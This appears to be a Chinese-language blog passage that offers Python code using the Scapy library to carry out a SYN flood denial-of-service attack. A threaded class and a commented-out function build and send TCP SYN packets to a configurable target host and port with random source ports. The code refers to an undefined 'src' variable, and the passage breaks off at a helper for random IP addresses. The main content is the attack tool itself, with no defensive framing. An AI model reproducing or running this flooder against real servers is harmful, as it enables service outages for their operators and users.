syn 攻击脚本 python_Python Scapy实现SYN Flood攻击

SYN Flood的python实现

代码如下。需要事先安装scapy库。(是scapy 不是scrapy)

from scapy.all import *

import random

from scapy.layers.inet import TCP, IP

import socket,threading

dst=""

dport=0

class flood_SYN(threading.Thread):

global dport,dst

def __init__(self):

threading.Thread.__init__(self)

def run(self):

sport = random.randint(1, 65535)

ip = IP(src=src, dst=dst)

tcp = TCP(sport=sport, dport=dport)

SYN = ip / tcp

print(SYN.summary())

send(SYN,verbose=0)

#def SYNFlood(src, dst, dport):

# sport = random.randint(10000, 65535)

# ip = IP(src=src, dst=dst)

# tcp = TCP(sport=sport, dport=dport)

# SYN = ip / tcp

# print(SYN.summary())

# send(SYN)

def randomIP():